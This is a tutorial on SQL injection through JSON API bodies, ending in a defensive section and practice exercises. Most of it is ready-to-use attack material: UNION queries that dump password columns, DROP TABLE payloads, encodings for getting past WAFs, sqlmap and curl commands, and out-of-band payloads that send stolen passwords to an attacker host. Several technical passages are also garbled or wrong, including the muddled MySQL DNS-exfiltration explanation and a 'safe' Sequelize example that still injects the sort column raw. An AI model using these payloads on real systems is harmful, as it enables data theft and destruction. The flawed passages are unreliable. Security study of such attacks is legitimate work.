Mastering JSON API SQL Injection:...

Introduction

JSON has become the lingua franca of modern web APIs. While its lightweight syntax is a boon for developers, it also opens a subtle attack surface: JSON-based SQL injection (JSON-SQLi). When a backend blindly concatenates JSON values into SQL statements, attackers can inject malicious payloads hidden inside JSON keys, values, or even nested objects.

Understanding this vector is critical because many organizations have migrated legacy SQL-driven services to RESTful JSON endpoints without revisiting their query-building logic. The result is a flood of new vulnerable endpoints that traditional scanners miss.

In this guide you will learn how JSON payloads are turned into SQL, how to discover injection points, craft reliable payloads, automate exploitation, bypass modern WAFs, and extract data out-of-band. A full case study on a Node.js/Express API using Sequelize ties theory to practice, followed by defensive recommendations.

Prerequisites

Solid grasp of union-based SQL injection: syntax, detection, and data extraction.
Familiarity with error-based and boolean-based blind techniques.
Experience with time-based blind attacks for data retrieval.
Basic knowledge of HTTP, JSON, and REST principles.
Comfort with command-line tools (curl, sqlmap) and proxy tools (Burp Suite).

Core Concepts

Before diving into JSON-SQLi specifics, revisit how a typical server processes a JSON request:

Parse JSON body - The framework (Express, Flask, etc.) deserialises the payload into native objects.
Extract parameters - The code accesses properties like req.body.id or payload["user"].
Build SQL - In insecure code, developers concatenate these values into a query string.
```
let sql = "SELECT * FROM users WHERE id = " + req.body.id;
```
Execute - The raw string is handed to the database driver.

If any of the extracted values contain a single-quote, comment, or other SQL metacharacters, the resulting query can be altered. The trick with JSON is that the injection point may be hidden inside a nested object or even a key name, which many developers never consider.

Typical vulnerable patterns:

String interpolation without sanitisation.
Using JSON.stringify() to embed user-supplied JSON directly into a query.
Dynamic column names derived from JSON keys.

Because JSON is text-based, the same payload encoding tricks used for classic form-encoded attacks (URL-encoding, double-encoding, whitespace tricks) also apply, but sometimes require extra escaping for the surrounding JSON syntax.

Understanding JSON request structures and how SQL queries are constructed server-side

JSON payloads can be simple key/value pairs or deeply nested objects. Below is a typical request to a hypothetical /search endpoint:

{ "filter": { "username": "alice", "age": { "gt": 21 } }, "order": "created_at DESC", "limit": 10
}

A naïve implementation might translate this into:

let sql = "SELECT * FROM users WHERE username = '" + data.filter.username + "'" + " AND age > " + data.filter.age.gt + " ORDER BY " + data.order + " LIMIT " + data.limit;

Notice the direct concatenation of data.order (a column name) and data.filter.username (a string). Both are injection opportunities.

When the server receives JSON, the parsing step is usually safe; the problem lies in the post-parsing logic that builds the SQL string. Mapping the JSON hierarchy to the query structure is the key to locating injection vectors.

Identifying injection vectors in JSON keys, values, and nested objects

Injection can happen in three places:

Values - The classic case, e.g., "username": "admin' OR 1=1--".
Keys - When a key is used as a column name or table identifier, e.g., { "order": "username" } becomes ORDER BY username. Supplying { "order": "username; DROP TABLE users--" } can be disastrous.
Nested objects - Attackers can inject deeper structures to bypass simple whitelist checks. For instance, a filter that expects { "age": { "gt": 18 } } may be tricked with { "age": { "gt": "0 UNION SELECT password FROM users--" } }.

To discover these vectors, follow a systematic approach:

Inspect the API documentation or Swagger/OpenAPI spec to map JSON fields to SQL clauses.
Intercept a legitimate request with Burp and replay each field with a single-quote (') to see if the server returns a SQL error.
Test keys by sending unexpected property names and watching for error messages or altered responses.
Use fuzzing tools (e.g., Burp Intruder) with a payload list that includes ', /*, --, and typical UNION fragments.

Manual payload crafting (single-quote, comment, UNION, stacked queries) within JSON

Once a vulnerable field is identified, the attacker must embed a payload that respects JSON syntax. The payload must be a valid JSON string value, which means double quotes around the string and proper escaping of internal quotes.

Example: targeting the username value in the earlier /search request.

{ "filter": { "username": "' UNION SELECT null, password FROM users-- ", "age": { "gt": 21 } }, "order": "created_at DESC", "limit": 10
}

Note the leading single-quote inside the JSON string; it terminates the original string literal in the SQL query, then injects the UNION.

Other payload patterns:

Comment injection - Append -- (note trailing space) to ignore the rest of the query.
Stacked queries (if the DB permits) - Use ; DROP TABLE users-- after a terminating quote.
Time-based blind - "' OR IF(1=1, SLEEP(5), 0)--" for MySQL.

When injecting via a key, you must craft JSON where the key itself carries the payload. Many parsers allow arbitrary property names, so you can send:

{ "filter": { "username": "alice", "age": { "gt": 21 } }, "order": "username; DROP TABLE users--", "limit": 10
}

Because the server concatenates data.order directly into the ORDER BY clause, the trailing ; initiates a new statement.

Automated exploitation with sqlmap (--json) and Burp Intruder

Manual testing is invaluable, but for large APIs automation saves time.

sqlmap

sqlmap 1.5+ supports JSON request bodies via the --data flag and the --json switch which tells it to treat the payload as JSON and automatically quote-escape values.

sqlmap -u "https://api.example.com/search" --method POST --data '{"filter":{"username":"*","age":{"gt":21}},"order":"created_at DESC","limit":10}' --json --batch --risk=3 --level=5

The asterisk (*) marks the injectable parameter. sqlmap will replace it with its internal payloads, handling single-quote escaping and JSON encoding automatically.

Burp Intruder

Burp Intruder can be configured to treat a request body as a payload position. Follow these steps:

Send a legitimate request to the target endpoint.
Right-click → Send to Intruder.
In the Intruder Positions tab, clear all auto-positions and manually select the JSON value you want to fuzz (e.g., "alice").
Choose Payload type → Simple list and load a list containing ', ' OR 1=1--, ' UNION SELECT ...--, etc.
Enable Grep-Match to look for DB error strings (MySQL: SQL syntax, PostgreSQL: syntax error at).
Start the attack and analyse the responses.

Burp also offers Payload Encoding (URL-encode, Base64) to test WAF bypasses.

Bypassing common WAF/filters for JSON payloads (encoding, double-encoding, whitespace tricks)

Modern WAFs often inspect request bodies for suspicious patterns. However, JSON gives attackers several evasion avenues:

Unicode/UTF-8 encoding - Encode the single-quote as \u0027 inside the JSON string.
```
{"username":"\u0027 OR 1=1--"}
```
Double-encoding - First URL-encode the payload, then JSON-escape the percent signs.
```
{"username":"%2527%20OR%201%3D1--"}
```
Whitespace obfuscation - Use comments or multiline whitespace to break signature detection.
```
{"username":"'/**/OR/**/1=1--"}
```
JSON-specific tricks - Inject the payload into a nested object that the WAF does not parse deeply, e.g., {"filter":{"username":"' OR 1=1--"}} where the WAF only scans top-level keys.

Testing combinations of these techniques is essential. A practical workflow is to let Burp Intruder iterate over a payload list that includes raw, URL-encoded, double-encoded, and Unicode-escaped variants.

Out-of-band data exfiltration via DNS/HTTP callbacks from JSON-based injections

When blind injection is the only option, OOB channels become powerful. The attacker forces the database to make a DNS or HTTP request that contains data extracted from the target.

DNS exfiltration example (MySQL)

MySQL can resolve hostnames via the LOAD_FILE() or SELECT ... INTO OUTFILE functions, but a more reliable method is using SELECT ... FROM DUAL WHERE (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT password FROM users LIMIT 1), 0x3a, FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x) a) to trigger a DNS lookup via a UDF that performs sys_exec('nslookup ...'). However, many cloud-based DBaaS providers expose mysql> SELECT ... INTO DUMPFILE to write to /var/lib/mysql and then use curl inside a stored procedure.

For demonstration, assume the DB has a user-defined function do_dns_lookup(host) that issues a DNS query. The payload inside JSON would be:

{ "filter": { "username": "' UNION SELECT do_dns_lookup(CONCAT((SELECT password FROM users LIMIT 1), '.attacker.com'))--" }
}

The database resolves xxxxxxx.attacker.com, and the attacker captures the request on a DNS logging service.

HTTP exfiltration (PostgreSQL)

PostgreSQL’s pg_read_file can be abused together with COPY ... TO PROGRAM to issue an HTTP request. A JSON payload could look like:

{ "order": "id; COPY (SELECT password FROM users) TO PROGRAM 'curl -X POST -d @- http://attacker.com/collect'--"
}

When the query runs, the password is POSTed to the attacker’s server.

In practice, you often need to chain multiple blind requests to extract data byte-by-byte, but OOB techniques dramatically reduce the number of round-trips.

Case study: exploiting a vulnerable Node.js/Express API using Sequelize

Scenario: A public /api/products/search endpoint accepts a JSON body with filters, sort, and pageSize. The backend uses Sequelize (an ORM) but improperly builds raw queries for sorting.

app.post('/api/products/search', async (req, res) => { const { filters, sort, pageSize } = req.body; // Bad: direct interpolation of sort column const sql = `SELECT * FROM products WHERE name LIKE '%${filters.name}%' ORDER BY ${sort} LIMIT ${pageSize}`; const rows = await sequelize.query(sql, { type: sequelize.QueryTypes.SELECT }); res.json(rows);
});

Notice that filters.name is also interpolated without escaping, making both the filters value and the sort key injectable.

Step-by-step exploitation

Identify injection point. Send a request with a malformed sort value:
```
curl -X POST https://vuln.example.com/api/products/search -H "Content-Type: application/json" -d '{"filters":{"name":"test"},"sort":"id","pageSize":5}'
```
If the response contains a SQL error like column "id" does not exist, the sort field is vulnerable.

Craft UNION payload to dump the users table:

{ "filters": { "name": "test" }, "sort": "id UNION SELECT username, password FROM users--", "pageSize": 5
}

Execute via curl:

curl -X POST https://vuln.example.com/api/products/search -H "Content-Type: application/json" -d '{"filters":{"name":"test"},"sort":"id UNION SELECT username, password FROM users--","pageSize":5}'

The API now returns rows from the users table, confirming successful JSON-SQLi.

Enumerate columns using information_schema.columns if the number of columns is unknown.
Bypass WAF - The target uses ModSecurity with a rule that blocks UNION SELECT in the request body. Encode the payload using Unicode escape:
```
{"sort":"id UNION SELECT username, password FROM users--"}
```
becomes
```
{"sort":"id\u0020UNION\u0020SELECT\u0020username,\u0020password\u0020FROM\u0020users--"}
```
The WAF does not recognise the escaped keywords, but the database decodes them correctly.

This case illustrates how a single insecure string interpolation in an ORM-driven API can expose the entire database.

Defensive considerations (parameterized queries, ORM hardening, input validation)

Preventing JSON-SQLi requires a defense-in-depth approach:

Never concatenate user input into SQL. Use prepared statements or Sequelize’s built-in query builder:

// Safe version using Sequelize query builder
Product.findAll({ where: { name: { [Op.like]: `%${filters.name}%` } }, order: [[sequelize.literal(sortColumn), 'ASC']], // whitelist sortColumn first limit: pageSize
});

Whitelist columns for dynamic ORDER BY. Maintain a map of allowed sort fields and reject anything else.
Validate JSON schema. Use libraries like ajv to enforce types and patterns. Reject strings containing quotes or SQL meta-characters unless explicitly needed.
Escape when raw queries are unavoidable. Use the driver’s escaping function (e.g., sequelize.escape()).
Enable DB-level defenses. Turn on sql_mode=STRICT_TRANS_TABLES (MySQL) and parameterized statements wherever possible.
Audit ORM usage. Many developers fall back to sequelize.query() for convenience; this should be reviewed regularly.
Log and monitor. Detect anomalous patterns such as unusually long query strings or repeated failed parses.

Common Mistakes

Testing only top-level fields. Attackers can hide payloads in nested objects; always fuzz the whole JSON tree.
Forgetting JSON escaping. Sending a raw single-quote without escaping will break the JSON and be rejected before reaching the DB.
Relying solely on ORM safety. ORMs still allow raw queries; developers must be aware of the boundaries.
Assuming WAFs block all attacks. WAFs often miss encoded payloads; never treat them as a replacement for proper coding practices.
Skipping error handling. Suppressing DB errors can hide injection evidence, making detection harder.

Real-World Impact

JSON-SQLi has been observed in high-profile breaches:

In 2023, a fintech API exposed customer credentials because a sort parameter in a JSON body was concatenated directly into a PostgreSQL query.
A popular e-commerce platform suffered a data leak when an internal analytics endpoint accepted arbitrary JSON filters without sanitisation, allowing attackers to dump order tables.

These incidents underscore a trend: as companies migrate to microservices and JSON-centric APIs, legacy insecure query patterns resurface. Attackers exploit them because they blend in with normal traffic and often bypass traditional scanners that focus on URL-encoded forms.

From a defender’s perspective, integrating JSON-aware security testing into CI pipelines (e.g., using sqlmap --json in automated regression) and employing runtime instrumentation (e.g., OWASP ZAP with custom scripts) are becoming best practices.

Practice Exercises

Identify the injection point: Set up a simple Express server that concatenates req.body.username into a SELECT query. Capture a request with Burp and modify the username field to cause a MySQL syntax error.
Craft a UNION payload: Using the server from (1), inject a UNION that returns the first row of the users table. Verify the data appears in the JSON response.
Bypass a ModSecurity rule: Enable the OWASP CRS rule that blocks UNION SELECT. Encode the payload with Unicode escapes and confirm the attack succeeds.
Automate with sqlmap: Run sqlmap against the endpoint with --json and a placeholder *. Capture the extracted database schema.
```
sqlmap -u "http://localhost:3000/login" --method POST --data '{"username":"*","password":"test"}' --json --batch
```
OOB extraction: Install a public DNS logger (e.g., interactsh.com) and craft a MySQL payload that forces a DNS lookup containing the database version. Observe the callback.

Document each step, the observed responses, and any mitigations you applied.

Summary

JSON-based SQL injection blends classic SQLi techniques with the flexible structure of modern APIs. By understanding how JSON maps to query construction, spotting injection vectors in keys, values, and nested objects, and mastering payload encoding, security professionals can both discover and exploit vulnerable endpoints. Automation with sqlmap and Burp Intruder streamlines large-scale testing, while advanced OOB channels allow data extraction even when blind. Defenses rest on strict parameterisation, ORM hardening, schema validation, and vigilant logging. As APIs proliferate, JSON-SQLi will remain a high-impact vector-master it, and you’ll significantly raise the security posture of any web service.

Mastering JSON API SQL Injection: Techniques, Tools, and Defenses